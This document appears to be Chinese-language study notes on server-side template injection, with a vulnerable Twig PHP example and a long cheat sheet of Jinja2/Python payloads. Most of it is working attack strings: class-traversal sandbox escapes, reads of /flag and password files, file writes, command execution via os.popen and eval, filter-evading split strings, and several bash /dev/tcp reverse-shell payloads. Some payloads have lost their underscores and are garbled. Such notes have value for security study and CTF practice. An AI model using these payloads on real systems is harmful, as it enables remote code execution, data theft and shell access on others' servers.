模板注入SSTI
- 模板引擎
- 模板引擎(特质web开发的模板引擎)是为了使用户界面与业务数据分离而产生的,可以生成特定格式的文档,用于网站的模板引擎就会就会生成一个标准的HTML文档。
- 模板引擎会提高一套申城HTML代码的程序,然后只需要获取用户的数据,放到渲染函数里,将生成模板+用户数据的前端HTML页面,反馈给浏览器,呈现在用户面前。
- SSTI服务端模板注入
- 本质也是注入,注入就是格式化字符串漏洞的一种体现。
- 利用漏洞可以对服务器端进行输入,服务端在接收用户的恶意输入以后,未经任何处理就将其作为web应用模版内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致信息泄露、代码执行、Getshell等。
- 注入基本原理
- 用户输入作为模板变量中的值
- <?php
require_once(dirname(__FILE__).'/../lib/Twig/Autoloader.php');
Twig_Autoloader→register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = twig->render("Hello {{name}}", array("name" =>_GET["name"])); // 将用户输入作为模版变量的值
echo $output;
?>
- 对这段代码输入,这段JavaScript代码会作为模板内容的一部分并执行,会造成XSS漏洞。
- 模板注入步骤
- 判断是否存在注入,根据各模板引擎相关信息执{ {22-1} }输出结果为21
- 访问类的属性 {{''.__class__}}
- MRO对象包含当前类型的类层次结构 {{''.__class__.__mro__}}
- 找到的类型对象 {{''.__class__.__mro__[2].__subclasses__()}}
- 利用的是os._wrap_close类 %LOCAL_FILE%T7N7w4cqcsyROxmQ-SALEdMw_McHGw-t59ybC33FrYJmpTC8HNhqA0QAvH7Hj41CKeXGjt79dbWX9mhTZ_xTNA52oz62INS2JxLtYdArAnGCeXitsHWEkojHCZHOmmh9.png
- 常见payload
- 获取基本类
- 对于返回的是定义的Class类的话:
dict //返回类中的函数和属性,父类子类互不影响
base //返回类的父类 python3
mro //返回类继承的元组,(寻找父类) python3
init //返回类的初始化方法
subclasses() //返回类中仍然可用的引用 python3
globals //对包含函数全局变量的字典的引用 python3对于返回的是类实例的话:
class //返回实例的对象,可以使类实例指向Class,使用上面的魔术方法
- ‘’.class.mro[-1]
{}.class.bases[0]
().class.bases[0]
[].class.bases[0]
- 常用的目标函数
file
subprocess.Popen
os.popen
exec
eval
- 常见的中间对象
catch_warnings.init.func_globals.linecache.os.popen(‘bash -i >& /dev/tcp/127.0.0.1/233 0>&1’)
lipsum.globals.builtins.open(“/flag”).read()
linecache.os.system(‘ls’)
- Python2
#python2有file
#读取密码
‘’.class.mro[2].subclasses()40.read()
#写文件
‘’.class.mro[2].subclasses()40.write(‘evil code’)
#OS模块
system
‘’.class.mro[2].subclasses()[71].init.globals[‘os’].system(‘ls’)
popen
‘’.class.mro[2].subclasses()[71].init.globals[‘os’].popen(‘ls’).read()
#eval
‘’.class.mro[2].subclasses()[59].init.globals[‘builtins’]‘eval’
#import
‘’.class.mro[2].subclasses()[59].init.globals[‘builtins’]‘import’.popen(‘id’).read()
#反弹shell
‘’.class.mro[2].subclasses()[71].init.globals[‘os’].popen(‘bash -i >& /dev/tcp/你的服务器地址/端口 0>&1’).read()
().class.bases[0].subclasses()[59].init.getattribute(‘func_global’+‘s’)[‘linecache’].dict[‘o’+‘s’].dict[‘sy’+‘stem’](‘bash -c “bash -i >& /dev/tcp/xxxx/9999 0>&1”’)
注意该Payload不能直接放在 URL 中执行 , 因为 & 的存在会导致 URL 解析出现错误,可以使用burp等工具
#request.environ
与服务器环境相关的对象字典
- Python3
#python3没有file,用的是open
#文件读取
{{().class.bases[0].subclasses()[75].init.globals.builtins’open’.read()}}
{{().class.base.subclasses[177].init.globals[‘builtins’]‘eval’}}
#命令执行
{% for c in [].class.base.subclasses() %}{% if c.name==‘catch_warnings’ %}{{ c.init.globals[‘builtins’].eval(“import(‘os’).popen(‘id’).read()”) }}{% endif %}{% endfor %}
[].class.base.subclasses()[59].init.func_globals[‘linecache’].dict.values()[12].system(‘ls’)
-